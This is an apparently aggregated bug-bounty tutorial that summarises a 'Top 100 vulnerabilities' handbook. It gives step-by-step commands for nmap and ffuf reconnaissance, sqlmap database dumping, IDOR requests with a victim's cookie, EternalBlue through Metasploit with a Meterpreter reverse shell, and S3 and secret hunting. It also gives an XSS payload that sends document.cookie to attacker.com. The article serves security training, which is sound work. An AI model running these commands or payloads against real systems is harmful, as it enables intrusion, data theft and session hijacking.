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Introduction:
In the rapidly evolving landscape of cybersecurity, moving beyond theoretical knowledge to practical application is the key differentiator for top-tier professionals. A recent post by bug bounty hunter Deepak Saini highlighted a comprehensive “TOP 100 Vulnerabilities Step-by-Step Guide Handbook,” emphasizing the community-driven approach to learning through platforms like WhatsApp and YouTube. This article deconstructs the core of such handbooks, transforming a list of vulnerabilities into actionable, hands-on knowledge. We will explore how to systematically approach these flaws, from reconnaissance to exploitation, using the very tools and commands that professional hunters use on live targets.
Learning Objectives:
- Understand the methodology behind prioritizing and testing the OWASP Top 10 and other critical vulnerabilities.
- Master the use of essential command-line tools for reconnaissance, scanning, and exploitation.
- Learn step-by-step exploitation techniques for common web application and network flaws.
- Apply mitigation strategies to understand the defender’s perspective, enhancing your attack simulations.
You Should Know:
- The Art of Reconnaissance: Mapping the Attack Surface
Before attempting to exploit a single vulnerability, you must understand the target’s architecture. This phase is about gathering as much information as possible. Tools like `Nmap` and `ffuf` are indispensable here.
Linux Command:
Aggressive Nmap scan to detect OS, services, and default scripts nmap -A -T4 -p- target.com -oN initial_scan.txt Directory fuzzing to find hidden endpoints ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -c -e .php,.html,.bak
What this does: The first command performs a thorough port and service scan, while the second brute-forces directories to uncover hidden admin panels, backup files, or API endpoints that aren’t linked on the main site.
2. Injecting the Unexpected: SQL Injection (SQLi)
SQL Injection remains a perennial threat. It involves inserting malicious SQL queries into input fields to manipulate the database. A classic example is bypassing login forms or extracting data.
Step‑by‑step guide:
- Identify a potential injection point, such as a search box or URL parameter (e.g., `https://target.com/product?id=1`).
- Test for basic vulnerabilities by injecting a single quote (
') to see if the application throws a database error. - Use
sqlmap, an automated tool, to confirm and exploit the flaw.
Linux Command:
Automate SQL injection detection and database dumping sqlmap -u "https://target.com/product?id=1" --dbs --batch --random-agent
What this does: This command targets the specific URL, attempts to enumerate all databases (--dbs), and automates the process (--batch) while masking your user-agent. The result could be a complete dump of user credentials.
3. Broken Access Control: The Privilege Escalation Playground
Broken Access Control vulnerabilities, such as Insecure Direct Object References (IDOR), allow users to access resources they shouldn’t. This often involves simply changing an ID in the URL.
Step‑by‑step guide:
- Log in as a low-privileged user and capture a request to view your own data (e.g.,
GET /api/user/1234/invoice). - Log out, then log in as another user (or in a private/incognito window) and attempt to modify that request to access
user/1235/invoice. - Use `cURL` to test this programmatically.
Windows Command (PowerShell) / Linux Command:
PowerShell: Attempting IDOR with a different user's cookie
$headers = @{ "Cookie" = "session=YOUR_VICTIM_SESSION_COOKIE" }
Invoke-WebRequest -Uri "https://target.com/api/user/1235/invoice" -Headers $headers
Linux cURL: Attempting IDOR curl -X GET -H "Cookie: session=VICTIM_SESSION" https://target.com/api/user/1235/invoice
What this does: These commands simulate a request from your browser, but with a modified resource ID. If the server responds with data for user 1235, you have successfully exploited an IDOR vulnerability.
4. Network-Level Attacks: Exploiting SMB with Metasploit
For network penetration testing, exploiting unpatched services like SMB (Server Message Block) on Windows machines is crucial. The EternalBlue exploit (MS17-010) is a classic example.
Step‑by‑step guide (Linux – Metasploit):
- Scan the target to confirm port 445 (SMB) is open and vulnerable using an Nmap script.
- Launch the Metasploit Framework (
msfconsole). - Search for and select the appropriate exploit module.
Linux Commands:
Check for the vulnerability using Nmap nmap -p445 --script smb-vuln-ms17-010 target_ip Inside Metasploit msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > set RHOSTS target_ip msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 > set LHOST your_ip msf6 > run
What this does: This sequence checks if a Windows machine is vulnerable to the EternalBlue exploit. If it is, Metasploit is used to deliver a Meterpreter payload, giving you a powerful shell on the target system, allowing for further post-exploitation.
5. Cross-Site Scripting (XSS): Abusing Client-Side Trust
XSS allows an attacker to inject malicious scripts into web pages viewed by other users. A simple proof-of-concept involves using the `alert()` function.
Step‑by‑step guide:
- Find an input field (comment box, search bar) that reflects user input back onto the page.
- Input a basic script tag to test for vulnerability.
- If successful, you can escalate to stealing cookies or performing actions on behalf of the user.
Code Snippet (Payload):
<!-- Basic test payload -->
<script>alert('XSS')</script>
<!-- Cookie stealing payload (requires a listener) -->
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>
What this does: The first payload proves the vulnerability exists. The second silently exfiltrates the victim’s session cookies to an attacker-controlled server, potentially allowing session hijacking.
6. Cloud and API Hardening: Finding the Leaks
Modern bug bounty programs heavily focus on APIs and cloud misconfigurations. A common find is hardcoded API keys or tokens in client-side code or public repositories.
Step‑by‑step guide:
- Use browser developer tools (F12) to inspect network traffic and source files (JavaScript).
- Search for keywords like
api_key,secret,password, ortoken. - For cloud storage, use tools like `awscli` to check for publicly accessible S3 buckets.
Linux Command:
Check if an S3 bucket is publicly listable aws s3 ls s3://target-bucket-name --no-sign-request Use a tool like truffleHog to find secrets in Git repositories trufflehog git https://github.com/target/repo.git --json
What this does: The AWS command attempts to list the contents of a bucket without authentication, revealing if it’s misconfigured. `truffleHog` scans the entire commit history of a GitHub repository for accidentally committed secrets.
What Undercode Say:
- Practicality over Theory: A “Top 100” list is only as good as your ability to test it. Mastering command-line tools like
curl,nmap, and `sqlmap` is non-negotiable for translating a vulnerability name into a finding. - The Community Edge: Resources like Deepak Saini’s WhatsApp and YouTube channels represent a shift towards collaborative, real-time learning. In a field that changes daily, the collective knowledge of active hunters is often more current than traditional textbooks.
By systematically working through these steps—from initial reconnaissance with `nmap` to exploiting complex flaws with Metasploit and hunting for cloud misconfigurations—you move from a passive reader of a handbook to an active, skilled bug bounty hunter. The key is to set up your own lab environment, practice these commands, and constantly engage with the community to stay ahead of the curve.
Prediction:
As AI begins to automate the discovery of common vulnerabilities, the premium will shift to hunters who can creatively chain these low-level flaws into high-impact exploits and those specializing in emerging, less-automated fields like AI prompt injection and complex business logic flaws in cloud-native architectures. The “handbook” of the future will not just list vulnerabilities, but detail methodologies for exploiting the intersection between human logic and automated systems.
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IT/Security Reporter URL:
Reported By: Deepak Saini – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
